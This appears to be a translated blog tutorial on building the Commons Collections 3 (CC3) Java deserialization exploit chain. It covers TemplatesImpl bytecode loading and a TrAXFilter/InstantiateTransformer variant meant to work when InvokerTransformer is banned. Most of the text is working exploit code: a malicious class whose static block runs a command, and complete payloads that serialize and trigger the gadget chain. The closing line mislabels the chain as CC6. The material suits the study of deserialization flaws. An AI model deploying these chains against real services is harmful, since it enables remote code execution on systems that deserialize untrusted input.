Another use method after InvokerTransformer is banned

CommonsCollections3

In CC1 and CC6, we finally called the calculator through Runtime.exec. From CC3, we will introduce a method to play the calculator without using Runtime, which is the dynamic class loading and dynamic class often mentioned in Java. Loading allows us to load a malicious class through a path. If the malicious class has malicious methods written in the static code block or construction code block, then we can initialize the class by finding a chain (usually during instantiation The class will be initialized) to achieve the code execution in the code block.

defineClass in ClassLoader finally realizes the dynamic loading of classes (there are still some processes later but it is implemented by c). You can see a bunch of defineClass in ClassLoader. We look up the usage and see which defineClass is called elsewhere. , and the permissions are best to be default or public, which is convenient for us to use, and finally lock the following:

protected final Class defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
The point where this defineClass is called is under TemplatesImpl.TransletClassLoader in com.sun.org.apache.xalan.internal.xsltc.trax, which is also a defineClass:

This defineClass is called by defineTransletClasses in the current class:

There are three call points under the same category of defineTransletClasses. Let’s see which method can be used by us:

The first one returns _class:

private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
The second one returns the subscript of _class:

public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
In the third method, we mainly look at newInstance. This _class[_transletIndex] is controllable (dynamically loaded through defineTransletClasses found above). If we let _class be the malicious class we constructed and make it newInstance, then it can be executed. The code in the static/construction code block in the malicious class, so we then find the call point of this method:

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

 if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

The next call point is still in this class, we find the newTransformer() method:

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

 transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

Let’s sort out the call chain up to now. It’s very short and convenient:

Let’s write the payload first:

TemplatesImpl templatesimpl = new TemplatesImpl();
templatesimpl.newTransformer();
Finished writing. Get off work! (Just kidding) Logically speaking, these two lines of code are indeed a complete call chain. What we have to do next is to assign values to various attributes inside the class:

There is no need to assign values in newTransformer. Follow up in getTransletInstance. There is no assignment of _name and _class in the class. If we want to trigger defineTransletClasses(), we need to make _name not empty and _class empty. Just don’t give it directly. Just assign value to _class:

if (_name == null) return null;

if (_class == null) defineTransletClasses();
Continue to follow up in defineTransletClasses. If you want to dynamically load _class below, we must pay attention to assigning a value to _tfactory. Otherwise, calling a method on an empty attribute will cause a null pointer exception:

return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
After the previous step, when we assign a value to _class, we can see that we control the value of _class by modifying _bytecodes:

for (int i = 0; i < classCount; i + + ) {
_class[i] = loader.defineClass(_bytecodes[i]);
There are three values that need to be modified. The TemplatesImpl class is serializable, so we can modify these values directly through reflection. Take a look at the types of these values:

private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
They are all private attributes, so you need to use setAccessible to modify the access permissions. name is of type String, so just assign a string directly:

Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField(“_name”);
nameField.setAccessible(true);
nameField.set(templatesimpl,”y1″);
Look at _bytecodes again, a two-dimensional array, but when we assign a value to _class, defineClass accepts a one-dimensional array:

for (int i = 0; i < classCount; i + + ) {
_class[i] = loader.defineClass(_bytecodes[i]);

Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
So when we assign a value to _bytecodes, we can put the one-dimensional array received by defineClass into the two-dimensional array _bytecodes. In this way, when performing a for loop traversal, we can traverse the one-dimensional array and pass it to defineClass. This class requires us After writing the java source code, manually compile it into a class file. It is best to copy the class file to another place on the computer and then use it here (the compiled class file is usually under the target):

Field bytecodesField = tmp.getDeclaredField(“_bytecodes”);
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get(“/Users/y1zh3e7/Desktop/Test.class”));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Test.class

public class Calc {
static{
try {
Runtime.getRuntime().exec(“open -na Calculator”); //Here is the command to open the calculator on mac
} catch (IOException e) { //still calc under win
throw new RuntimeException(e);
}

}

}
Then we change the value of _tfactory:

It should be noted here that the attribute modified by the transient keyword does not participate in serialization, which means that even if we modify its value through reflection, the value of the deserialized binary stream attribute is still null, so here We need to assign values in other ways

private transient TransformerFactoryImpl _tfactory = null;
We found in readObject that there is an operation to assign values to these properties. The value of _tfactory is a TransformerFactoryImpl instance:

_name = (String)gf.get(“_name”, null);
//The following lines of code read the values of the properties in the serialization stream. If the value cannot be read, set its value to the default value (second parameter)
_bytecodes = (byte[][])gf.get(“_bytecodes”, null);
_class = (Class[])gf.get(“_class”, null);
_transletIndex = gf.get(“_transletIndex”, -1);

 _outputProperties = (Properties)gf.get("_outputProperties", null);
    _indentNumber = gf.get("_indentNumber", 0);

    if (is.readBoolean()) {
        _uriResolver = (URIResolver) is.readObject();
    }

    _tfactory = new TransformerFactoryImpl();
}

Let’s not serialize and deserialize first. Let’s use reflection to modify the value of _tfactory to see if we can play the calculator (we did not perform serialization and deserialization here, so we actually used reflection to modify the value. , so it can be modified successfully):

TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();

 Field nameField = tmp.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesimpl,"y1");

    Field bytecodesField = tmp.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
    byte[][] codes = {code};
    bytecodesField.set(templatesimpl,codes);

    Field tfactoryfield = tmp.getDeclaredField("_tfactory");
    tfactoryfield.setAccessible(true);
    tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
    templatesimpl.newTransformer();

The calculator did not pop up, and a null pointer exception occurred. Through debugging, it was found that after _class successfully loaded the class, the exception was thrown here:

final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

 if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }

The first if checks whether the parent class of _class is called ABSTRACT_TRANSLET. If it does not enter the if, then _auxClasses in else is empty, a null pointer will be thrown, and an exception will also be thrown in the second if below. In order to avoid this For two exceptions, we need to inherit the malicious class loaded by _class from the parent class named ABSTRACT_TRANSLET:

private static String ABSTRACT_TRANSLET
= “com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet”;
Modify the malicious class. There are two abstract methods in the inherited parent class that need to be rewritten:

public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec(“open -na Calculator”);
} catch (IOException e) {
throw new RuntimeException(e);
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
Now the calculator can pop up. If it does not pop up here, check if there is a problem with the imported package. The paths of TemplatesImpl and TransformerFactoryImpl must be com.xxx. If it is org.xxx, it cannot be used:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();

 Field nameField = tmp.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesimpl,"y1");

    Field bytecodesField = tmp.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
    byte[][] codes = {code};
    bytecodesField.set(templatesimpl,codes);

    Field tfactoryfield = tmp.getDeclaredField("_tfactory");
    tfactoryfield.setAccessible(true);
    tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
    templatesimpl.newTransformer();

}

}
Next we have to find a way to execute templatesimpl.newTransformer. Here we still use InvokerTransformer.transform used in CC1 to execute the code:

TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();

 Field nameField = tmp.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesimpl,"y1");

    Field bytecodesField = tmp.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
    byte[][] codes = {code};
    bytecodesField.set(templatesimpl,codes);

    Field tfactoryfield = tmp.getDeclaredField("_tfactory");
    tfactoryfield.setAccessible(true);
    tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
    ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(templatesimpl),
        new InvokerTransformer("newTransformer",null,null)
    });
    ctf.transform(1);

The rest of the call points to find Chainedtransformer.transform are the same as those behind CC1. Just paste them over:

package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;

public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();

 Field nameField = tmp.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesimpl,"y1");

    Field bytecodesField = tmp.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
    byte[][] codes = {code};
    bytecodesField.set(templatesimpl,codes);

    Field tfactoryfield = tmp.getDeclaredField("_tfactory");
    tfactoryfield.setAccessible(true);
    tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
    ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(templatesimpl),
        new InvokerTransformer("newTransformer",null,null)
    });
    HashMap map = new HashMap();
    map.put("value","v");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
    Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
    serialize(o);
    unserialize("ser.bin");

}

}
Compared with CC1, one is to execute commands by calling Runtime, and the other is to execute code through dynamic class loading. If Runtime is filtered, we can try to use this CC3

Next we will talk about another call chain used on ysoserial:

Let’s go back to newTransformer. What we just said is to call it directly using the second half of CC1. We then go down to find the place where newTransformer is called, and finally lock it in com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java This class does not inherit the serialize interface, which means that we cannot modify the value of the attribute in the instance through reflection, but we think that the operation of initializing the attribute value is generally in the constructor. Let’s take a look at its structure. function:

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
We can control the value of this templates through this constructor, so the next step is to find a place where this constructor can be called. The InstantiateTransformer class is given in ysoserial. Through its constructor and transform method, an object can be called. Constructor with parameters:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException(“InstantiateTransformer: Input object was not an instanceof Class, it was a ” + (input == null ? “null object” : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
In other words, the following two lines of code can execute newTransformer:

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);
Finally, it is wrapped and executed with ChainedTransformer:

TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();

 Field nameField = tmp.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templatesimpl,"y1");

    Field bytecodesField = tmp.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
    byte[][] codes = {code};
    bytecodesField.set(templatesimpl,codes);

    Field tfactoryfield = tmp.getDeclaredField("_tfactory");
    tfactoryfield.setAccessible(true);
    tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());

    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
    ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
    });
    HashMap map = new HashMap();
    map.put("value","v");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
    Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
    annotationInvocationHandlerconstructor.setAccessible(true);
    Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
    serialize(o);
    unserialize("ser.bin");

Complete CC6 call chain, this chain can be used when InvokerTransformer is banned: